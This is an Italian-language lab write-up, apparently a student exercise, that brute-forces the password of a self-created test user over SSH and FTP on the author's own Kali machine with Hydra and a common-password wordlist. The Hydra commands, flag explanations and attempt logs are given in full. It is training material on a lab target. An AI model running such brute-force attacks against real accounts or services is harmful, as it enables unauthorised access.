



Introduzione:

Il compito della settimana richiedeva di fare un **authentication cracking** con **Hydra** tramite la tecnica del **brute force**. Per prima cosa abilito il **servizio SSH** e la relativa sessione di cracking dell'autenticazione con **xHydra**, nella seconda fase invece sono andato a craccare il **protocollo telnet**.

Preparazione:

Innanzitutto ho creato un nuovo **user cavia**, chiamandolo **test_user** e mettendo come password **testpass**:

```
(kali㉿kali)-[~]
└─$ sudo su
[sudo] password for kali:
└─(root㉿kali)-[/home/kali]
└─# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

E successivamente ho avviato il **servizio SSH** dello stesso:

```
(kali㉿kali)-[~]  
$ ssh test_user@192.168.0.100  
test_user@192.168.0.100's password:  
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) :  
86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Fri Nov  8 05:50:49 2024 from 192.168.0.100  
(test_user㉿kali)-[~]  
$ █
```

Pratica:

Successivamente ho scritto un prompt per **xHydra**, per effettuare il cracking della password del test user:

```
xhydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-  
passwords-1000000.txt ssh://192.168.0.100 -t 4 -V
```

```

(kali@kali)-[~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-p
asswords-1000000.txt ssh://192.168.0.100 -t 64 -V -f

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 05:
45:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting, ./hydra.res
tore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1000000 login tries (l:1/
p:1000000), ~15625 tries per task
[DATA] attacking ssh://192.168.0.100:22/
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "123456" - 1 of 100
0000 [child 0] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "password" - 2 of 1
000000 [child 1] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "12345678" - 3 of 1
000000 [child 2] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "qwerty" - 4 of 100
0000 [child 3] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "123456789" - 5 of
1000000 [child 4] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "12345" - 6 of 1000
000 [child 5] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "1234" - 7 of 10000
00 [child 6] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "111111" - 8 of 100
0000 [child 7] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "1234567" - 9 of 10
00000 [child 8] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "dragon" - 10 of 10
00000 [child 9] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "123123" - 11 of 10
00000 [child 10] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "baseball" - 12 of
1000000 [child 11] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "abc123" - 13 of 10
00000 [child 12] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "football" - 14 of
1000000 [child 13] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "monkey" - 15 of 10
00000 [child 14] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "letmein" - 16 of 1
000000 [child 15] (0/0)
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "696969" - 17 of 10
00000 [child 16] (0/0)

```

hydra:

- È lo strumento che stai utilizzando per eseguire un attacco di **forza bruta** a un servizio di autenticazione (in questo caso, **SSH**).

-l test_user:

- L'opzione -l specifica un **singolo nome utente** che verrà utilizzato per il tentativo di accesso.
- In questo caso, il nome utente è test_user. Significa che Hydra tenterà di fare il login come test_user.

-P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt:

- L'opzione -P specifica il percorso del **file contenente la lista di password** da provare.
- Qui, il file utilizzato è un ampio elenco di 10 milioni di password comuni (nella cartella /usr/share/seclists/Passwords/).
- Hydra proverà ogni password contenuta in questo file, una alla volta, per l'utente test_user.

ssh://192.168.0.100:

- Questo è l'indirizzo del server a cui Hydra tenterà di connettersi tramite **SSH**.
- L'IP 192.168.0.100 è l'indirizzo del server di destinazione (dove è in esecuzione il servizio SSH). Può essere l'indirizzo di una macchina remota o locale.

-t 4:

- L'opzione -t imposta il numero di **thread** (cioè, quante connessioni simultanee Hydra tenterà di eseguire).
- In questo caso, -t 4 significa che Hydra tenterà di fare 4 tentativi simultanei per ogni connessione. Maggiore è il numero di thread, più veloce sarà l'attacco, ma potrebbe anche sovraccaricare la macchina o attivare misure di protezione come il **rate limiting** o il blocco dell'IP.

-V:

- L'opzione -V abilita la modalità **verbose**, ovvero mostrerà ogni tentativo di connessione e ogni password che viene provata. Questo ti permette di vedere dettagli in tempo reale sui tentativi di login.

Conclusione:

Dopo aver provato con oltre **5000 combinazioni** di password note, Hydra è riuscito a trovare l'esatta combinazione per **accedere a test_user**:


```
kali@kali: ~  
File Actions Edit View Help  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "gfhjkmghjkm" - 5168 of 1000047 [child 11] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "gfhjkm1" - 5169 of 1000047 [child 26] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "fyutkbyf" - 5170 of 1000047 [child 13] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "finance" - 5171 of 1000047 [child 48] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "farley" - 5172 of 1000047 [child 53] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "dogshit" - 5173 of 1000047 [child 41] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "digital1" - 5174 of 1000047 [child 60] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "crack" - 5175 of 1000047 [child 11] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "counter" - 5176 of 1000047 [child 26] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "corsair" - 5177 of 1000047 [child 13] (0/47)  
[RE-ATTEMPT] target 192.168.0.100 - login "test_user" - pass "asdfzxcv" - 5177 of 1000047 [child 55] (0/47)  
[RE-ATTEMPT] target 192.168.0.100 - login "test_user" - pass "asdfzxcv" - 5177 of 1000047 [child 55] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "company" - 5178 of 1000047 [child 26] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "colonel" - 5179 of 1000047 [child 2] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "claudi" - 5180 of 1000047 [child 13] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "carolin" - 5181 of 1000047 [child 48] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "caprice" - 5182 of 1000047 [child 55] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "caligula" - 5183 of 1000047 [child 50] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "bulls" - 5184 of 1000047 [child 48] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "blackout" - 5185 of 1000047 [child 55] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "beatle" - 5186 of 1000047 [child 50] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "beans" - 5187 of 1000047 [child 2] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "banzai" - 5188 of 1000047 [child 13] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "banner" - 5189 of 1000047 [child 48] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "artem" - 5190 of 1000047 [child 55] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "9562876" - 5191 of 1000047 [child 50] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "5656" - 5192 of 1000047 [child 2] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "1945" - 5193 of 1000047 [child 21] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "159632" - 5194 of 1000047 [child 13] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "15151515" - 5195 of 1000047 [child 27] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "123456qw" - 5196 of 1000047 [child 55] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "1234567891" - 5197 of 1000047 [child 50] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "02051983" - 5198 of 1000047 [child 2] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "02041983" - 5199 of 1000047 [child 21] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "02031987" - 5200 of 1000047 [child 27] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "02021989" - 5201 of 1000047 [child 2] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "z1x2c3v4" - 5202 of 1000047 [child 21] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "xing" - 5203 of 1000047 [child 27] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "vSjasnel12" - 5204 of 1000047 [child 55] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "twenty" - 5205 of 1000047 [child 50] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "toolman" - 5206 of 1000047 [child 21] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "thing" - 5207 of 1000047 [child 27] (0/47)  
[ATTEMPT] target 192.168.0.100 - login "test_user" - pass "testpass" - 5208 of 1000047 [child 21] (0/47)  
[22][ssh] host: 192.168.0.100 login: test_user password: testpass  
[STATUS] attack finished for 192.168.0.100 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 06:31:19  
  
(kali@kali)-[~]  
$
```

Secondo esercizio:

Richiedeva di eseguire lo stesso procedimento ma sul protocollo **FTP**, per configurare l'ambiente di lavoro ho prima installato il server **FTP vsftpd**, sulla macchina Linux, e dopo l'ho eseguito. Questo avvierà il server FTP sulla **porta 21**:

```
(kali@kali)-[/etc]  
$ sudo netstat -tlnp | grep 21  
tcp6      0      0 :::21          :::*  
::: *
```

```
kali@kali: /etc
File Actions Edit View Help
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1774 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (195 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 402149 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy director
y /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please updat
e the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.1-2) ...
Processing triggers for kali-menu (2024.3.1) ...

(kali@kali)-[/etc]
$ sudo service vsftpd start
```

Ho controllato anche se il servizio fosse in esecuzione, confermando grazie a questa risposta:

```
(kali@kali)-[/etc]
$ sudo systemctl status vsftpd
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2024-11-08 06:59:57 EST; 2min 4s ago
  Invocation: 1f676704c3364fdad22013f85674dad9
    Process: 54772 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0>
   Main PID: 54773 (vsftpd)
      Tasks: 1 (limit: 2269)
     Memory: 768K (peak: 1.5M)
        CPU: 9ms
    CGroup: /system.slice/vsftpd.service
            └─54773 /usr/sbin/vsftpd /etc/vsftpd.conf

Nov 08 06:59:57 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Nov 08 06:59:57 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
lines 1-14/14 (END)
```

Ed infine eseguo lo **stesso comando** che ho usato per il protocollo SSH:

`hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ftp://127.0.0.1 -t 4 -V`

Solo che qui l'indirizzo IP, non sarà quello della **mia macchina**, ma bensì del **server FTP (ftp://127.0.0.1)**

```
(kali@kali)-[/etc]
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ftp://127.0.0.1 -t 64 -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 07:06:00
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1000000 login tries (l:1/p:1000000), ~15625 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 1 of 1000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 2 of 1000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "12345678" - 3 of 1000000 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "qwerty" - 4 of 1000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456789" - 5 of 1000000 [child 4] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "12345" - 6 of 1000000 [child 5] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1234" - 7 of 1000000 [child 6] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "111111" - 8 of 1000000 [child 7] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1234567" - 9 of 1000000 [child 8] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "dragon" - 10 of 1000000 [child 9] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123123" - 11 of 1000000 [child 10] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "baseball" - 12 of 1000000 [child 11] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "abc123" - 13 of 1000000 [child 12] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "football" - 14 of 1000000 [child 13] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "monkey" - 15 of 1000000 [child 14] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "letmein" - 16 of 1000000 [child 15] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "696969" - 17 of 1000000 [child 16] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "shadow" - 18 of 1000000 [child 17] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "master" - 19 of 1000000 [child 18] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "666666" - 20 of 1000000 [child 19] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "qwertyuiop" - 21 of 1000000 [child 20] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123321" - 22 of 1000000 [child 21] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "mustang" - 23 of 1000000 [child 22] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1234567890" - 24 of 1000000 [child 23] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "michael" - 25 of 1000000 [child 24] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "654321" - 26 of 1000000 [child 25] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "pussy" - 27 of 1000000 [child 26] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "superman" - 28 of 1000000 [child 27] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1qaz2wsx" - 29 of 1000000 [child 28] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "7777777" - 30 of 1000000 [child 29] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "fuckyou" - 31 of 1000000 [child 30] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "121212" - 32 of 1000000 [child 31] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "000000" - 33 of 1000000 [child 32] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "qazwsx" - 34 of 1000000 [child 33] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123qwe" - 35 of 1000000 [child 34] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "killer" - 36 of 1000000 [child 35] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "trustno1" - 37 of 1000000 [child 36] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "jordan" - 38 of 1000000 [child 37] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "jennifer" - 39 of 1000000 [child 38] (0/0)
```

Ed essendo che ora operiamo con il protocollo FTP, dove è assente la **cifratura** rispetto all'**SSH**, l'FTP non ha bisogno di **cifrare e decifrare i dati**, può trasferire file **più velocemente**, **riducendo il carico** computazionale. Il procedimento così sarà molto più **veloce**. Se con l'SSH Hydra ci ha messo **1 ora**, con le FTP ci ha messo solo **10 minuti**:

File Actions Edit View Help

```

[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "gfhjkm1" - 5169 of 1000014 [child 5] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "fyutkbyf" - 5170 of 1000014 [child 17] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "finance" - 5171 of 1000014 [child 63] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "farley" - 5172 of 1000014 [child 1] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "dogshit" - 5173 of 1000014 [child 61] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "digital1" - 5174 of 1000014 [child 3] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "crack" - 5175 of 1000014 [child 23] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "counter" - 5176 of 1000014 [child 30] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "corsair" - 5177 of 1000014 [child 41] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "company" - 5178 of 1000014 [child 11] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "colonel" - 5179 of 1000014 [child 20] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "claudi" - 5180 of 1000014 [child 38] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "carolin" - 5181 of 1000014 [child 8] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "caprice" - 5182 of 1000014 [child 9] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "caligula" - 5183 of 1000014 [child 14] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "bulls" - 5184 of 1000014 [child 19] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "blackout" - 5185 of 1000014 [child 24] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "beatle" - 5186 of 1000014 [child 0] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "beans" - 5187 of 1000014 [child 12] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "banzai" - 5188 of 1000014 [child 25] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "banner" - 5189 of 1000014 [child 32] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "artem" - 5190 of 1000014 [child 39] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "9562876" - 5191 of 1000014 [child 4] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "5656" - 5192 of 1000014 [child 7] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1945" - 5193 of 1000014 [child 15] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "159632" - 5194 of 1000014 [child 36] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "15151515" - 5195 of 1000014 [child 59] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456qw" - 5196 of 1000014 [child 60] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1234567891" - 5197 of 1000014 [child 29] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "02051983" - 5198 of 1000014 [child 21] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "02041983" - 5199 of 1000014 [child 28] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "02031987" - 5200 of 1000014 [child 57] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "02021989" - 5201 of 1000014 [child 27] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "z1x2c3v4" - 5202 of 1000014 [child 35] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "xing" - 5203 of 1000014 [child 37] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "vSjasnel12" - 5204 of 1000014 [child 42] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "twenty" - 5205 of 1000014 [child 13] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "toolman" - 5206 of 1000014 [child 18] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "thing" - 5207 of 1000014 [child 22] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 5208 of 1000014 [child 33] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "stretch" - 5209 of 1000014 [child 34] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "stonecold" - 5210 of 1000014 [child 10] (0/14)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "soulmate" - 5211 of 1000014 [child 16] (0/14)

```

[21][ftp] host: 127.0.0.1 login: test_user password: testpass

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 16 final worker threads did not complete until end.

[ERROR] 16 targets did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2024-11-08 07:12:17